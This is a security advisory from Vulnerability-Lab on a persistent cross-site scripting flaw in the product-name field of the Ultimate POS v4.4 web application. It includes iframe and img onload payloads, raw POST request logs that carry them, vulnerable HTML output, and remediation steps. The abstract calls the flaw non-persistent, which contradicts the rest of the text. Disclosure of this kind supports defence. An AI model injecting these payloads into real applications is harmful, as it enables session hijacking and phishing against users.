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Ultimate POS version 4.4 suffers from a cross site scripting vulnerability.

Document Title:
===============
Ultimate POS v4.4 - (Products) Persistent XSS Vulnerability


References (Source):
====================
https://www.vulnerability-lab.com/get_content.php?id=2296


Release Date:
=============
2021-10-26


Vulnerability Laboratory ID (VL-ID):
====================================
2296


Common Vulnerability Scoring System:
====================================
5.6


Vulnerability Class:
====================
Cross Site Scripting - Persistent


Current Estimated Price:
========================
500€ - 1.000€


Product & Service Introduction:
===============================
The Ultimate POS is a erp, stock management, point of sale & invoicing web-application.
The application uses a mysql database management system in combination with php 7.2.

(Copy of the Homepage: https://ultimatefosters.com/docs/ultimatepos/ )



Abstract Advisory Information:
==============================
Abstract Advisory Information:
==============================
The vulnerability laboratory core research team discovered a non-persistent cross site vulnerability in the Ultimate POS v4.4 erp stock management web-application.


Affected Product(s):
====================
thewebfosters
Ultimate POS v4.4 - ERP (Web-Application)


Vulnerability Disclosure Timeline:
==================================
2021-10-26: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Exploitation Technique:
=======================
Remote


Severity Level:
===============
Medium


Authentication Type:
====================
Restricted Authentication (Moderator Privileges)


User Interaction:
=================
Low User Interaction


Disclosure Type:
================
Responsible Disclosure


Technical Details & Description:
================================
A persistent cross site web vulnerability has been discovered in the Ultimate POS v4.4 erp stock management web-application.
The vulnerability allows remote attackers to inject own malicious script codes with persistent attack vector to compromise
browser to web-application requests from the application-side.

The persistent validation web vulnerability is located in the name parameter of the add products module.
Remote attackers with privileges as vendor to add products are able to inject own malicious script codes.
The request method to inject is post and the attack vector is persistent. Injects are possible via edit
or by a new create of a product.

Successful exploitation of the vulnerabilities results in session hijacking, persistent phishing attacks,
persistent external redirects to malicious source and persistent manipulation of affected application modules.

Request Method(s):
[+] POST

Vulnerable Module(s):
[+] Products (Add)

Vulnerable Input(s):
[+] Product Name

Vulnerable Parameter(s):
[+] name

Affected Module(s):
[+] Products List


Proof of Concept (PoC):
=======================
The persistent web vulnerability can be exploited by remote attackers with privileged application account and with low user interaction.
For security demonstration or to reproduce the cross site web vulnerability follow the provided information and steps below to continue.


PoC: Payload
test"><iframe src="evil.source" onload=alert(document.cookie)></iframe>
test"><img src="evil.source" onload=alert(document.cookie)></img>


---- PoC Session Logs (POST) [Add] ---
https://pos-uf.localhost.com:8000/products
Host: pos-uf.localhost.com:8000
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Content-Type: multipart/form-data; boundary=---------------------------241608710739044240961361918599
Content-Length: 3931
Origin: https://pos-uf.localhost.com:8000
Connection: keep-alive
Referer: https://pos-uf.localhost.com:8000/products/create
Cookie: ultimate_pos_session=eyJpdiI6InpjMmNRMEkycnU3MDIzeksrclNrWlE9PSIsInZhbHVlIjoiYmJWVjFBZWREODZFN3BCQ3praHZiaVwvV
nhSMGQ1ZmM1cVc0YXZzOUg1YmpMVlB4VjVCZE5xMlwvNjFCK056Z3piIiwibWFjIjoiNmY3YTNiY2Y4MGM5NjQwNDYxOTliN2NjZWUxMWE4YTNhNmQzM2U2ZGRlZmI3OWU4ZjkyNWMwMGM2MDdkMmI3NSJ9
_token=null&name=test"><iframe src=evil.source onload=alert(document.cookie)></iframe>&sku=&barcode_type=C128&unit_id=1&brand_id=
&category_id=&sub_category_id=&product_locatio[]=1&enable_stock=1&alert_quantity=&product_description=&image=&product_brochure=
&weight=&product_custom_field1=&product_custom_field2=&product_custom_field3=&product_custom_field4=&woocommerce_disable_sync=0&tax=&tax_type=exclusive
&type=single&single_dpp=2.00&single_dpp_inc_tax=2.00&profit_percent=25.00&single_dsp=2.50&single_dsp_inc_tax=2.50&variation_images[]=&submit_type=submit
-
POST: HTTP/3.0 200 OK
content-type: text/html; charset=UTF-8
location: https://pos-uf.localhost.com:8000
set-cookie: ultimate_pos_session=eyJpdiI6IndzZmlwa1ppRGZkaUVlUU1URTgwT1E9PSIsInZhbHVlIjoiMklXdGZWa250THhtTCtrMnhEU2I3UlAyXC8ydmdqSU5NcTJLZTVpR2FxYUptb
khvdjhMR0pmYW13Unorc2VuNHEiLCJtYWMiOiJkYWMyYTY3Y2ExNjI0NTdlY2Y2YzhlNTk4ZmZiZjQzZGYwMTRmYjBlYmJiNjA1MzZjNjYyNmVjOGEzNjVmMzczIn0%3D; Max-Age=7200; path=/; httponly


---- PoC Session Logs (POST) [Edit] ---
https://pos-uf.localhost.com:8000/products/23
Host: pos-uf.localhost.com:8000
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Content-Type: multipart/form-data; boundary=---------------------------407073296625600179063246902867
Content-Length: 4064
Origin: https://pos-uf.localhost.com:8000
Connection: keep-alive
Referer: https://pos-uf.localhost.com:8000/products/23/edit
Cookie: ultimate_pos_session=eyJpdiI6IlhwOTR3NmxwMmNvbWU0WlI3c3B6R1E9PSIsInZhbHVlIjoiWkV5XC80Uk53b3daaXM1V3pOYXp6ZzFTdEhnejVXcUdF
Q2lkUFl4WTk4dXNhQ2plUnpxWmFjYzE0bTJLQnAyVXQiLCJtYWMiOiI1OTQxZGIzMDU1NzQyNDA1YTQ3N2YyZTdjMWYyZTg0NmE1MGU0YTQ2ODc0MTg4ZTlmNmIwYzljMTBmZGUwNzE0In0%3D
_method=PUT&_token=null&name=test_products"><iframe src=evol.source onload=alert(document.cookie)></iframe>&sku=2&barcode_type=C128&unit_id=1&brand_id=&category_id=&sub_category_id=&product_locations[]=1&enable_stock=1&alert_quantity=2.00&product_description=&image=&product_brochure=&weight=4&product_custom_field1=3&product_custom_field2=5&product_custom_field3=1&product_custom_field4=2
&woocommerce_disable_sync=0&tax=&tax_type=exclusive&single_variation_id=204&single_dpp=1.00&single_dpp_inc_tax=1.00
&profit_percent=0.00&single_dsp=1.00&single_dsp_inc_tax=1.00&variation_images[]=&submit_type=submit
-
POST: HTTP/3.0 200 OK
content-type: text/html; charset=UTF-8
location: https://pos-uf.localhost.com:8000/products
set-cookie: ultimate_pos_session=eyJpdiI6IlhwOTR3NmxwMmNvbWU0WlI3c3B6R1E9PSIsInZhbHVlIjoiWkV5XC80Uk53b3daaXM1V3pOYXp6ZzFTdEhnejVXcUdF
Q2lkUFl4WTk4dXNhQ2plUnpxWmFjYzE0bTJLQnAyVXQiLCJtYWMiOiI1OTQxZGIzMDU1NzQyNDA1YTQ3N2YyZTdjMWYyZTg0NmE1MGU0YTQ2ODc0MTg4ZTlmN
mIwYzljMTBmZGUwNzE0In0%3D; Max-Age=7200; path=/; httponly


Vulnerable Source: Products (list - name)
<tbody><tr data-href="https://pos-uf.localhost.com:8000/products/view/158" role="row" class="odd"><td class="selectable_td">
<input type="checkbox" class="row-select" value="158"></td><td><div style="display: flex;">
<img src="https://pos-uf.localhost.com:8000/img/default.png" alt="Product image" class="product-thumbnail-small"></div></td>
<td><div class="btn-group"><button type="button" class="btn btn-info dropdown-toggle btn-xs" data-toggle="dropdown" aria-expanded="false">
Actions<span class="caret"></span><span class="sr-only">Toggle Dropdown</span></button><ul class="dropdown-menu dropdown-menu-left" role="menu"><li>
<a href="https://pos-uf.localhost.com:8000/labels/show?product_id=158" data-toggle="tooltip" title="Print Barcode/Label"><i class="fa fa-barcode">
</i> Labels</a></li><li><a href="https://pos-uf.localhost.com:8000/products/view/158" class="view-product"><i class="fa fa-eye"></i> View</a></li>
<li><a href="https://pos-uf.localhost.com:8000/products/158/edit"><i class="glyphicon glyphicon-edit"></i> Edit</a></li><li>
<a href="https://pos-uf.localhost.com:8000/products/158" class="delete-product"><i class="fa fa-trash"></i> Delete</a></li><li class="divider">
</li><li><a href="#" data-href="https://pos-uf.localhost.com:8000/opening-stock/add/158" class="add-opening-stock"><i class="fa fa-database">
</i> Add or edit opening stock</a></li><li><a href="https://pos-uf.localhost.com:8000/products/stock-history/158"><i class="fas fa-history">
</i> Product stock history</a></li><li><a href="https://pos-uf.localhost.com:8000/products/create?d=158"><i class="fa fa-copy">
</i> Duplicate Product</a></li></ul></div></td><td class="sorting_1">aa"><iframe src="a" onload="alert(document.cookie)"></iframe>
<br><i class="fab fa-wordpress"></i></td><td>Awesome Shop</td><td><div style="white-space: nowrap;">$ 1.00 </div></td><td>
<div style="white-space: nowrap;">$ 1.25 </div></td><td> 0 Pieces</td><td>Single</td><td> </td><td></td><td></td><td>AS0158</td>
<td></td><td></td><td></td><td></td></tr><tr data-href="https://pos-uf.localhost.com:8000/products/view/17" role="row" class="even">
<td class="selectable_td"><input type="checkbox" class="row-select" value="17"></td><td><div style="display: flex;">
<img src="https://pos-uf.localhost.com:8000/uploads/img/1528727793_acerE15.jpg" alt="Product image" class="product-thumbnail-small"></div></td>


Reference(s):
https://pos-uf.localhost.com:8000/products/
https://pos-uf.localhost.com:8000/products/view/
https://pos-uf.localhost.com:8000/products/23/edit


Solution - Fix & Patch:
=======================
The vulnerability can be resolved by the following steps ...
1. Restrict the input on product names to disallow special chars
2. Encode and filter the input transmitted via post in the name parameter
3. Escape and sanitize the output in the products listing of the backend


Credits & Authors:
==================
Vulnerability-Lab [Research Team] - https://www.vulnerability-lab.com/show.php?user=Vulnerability-Lab


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=========================
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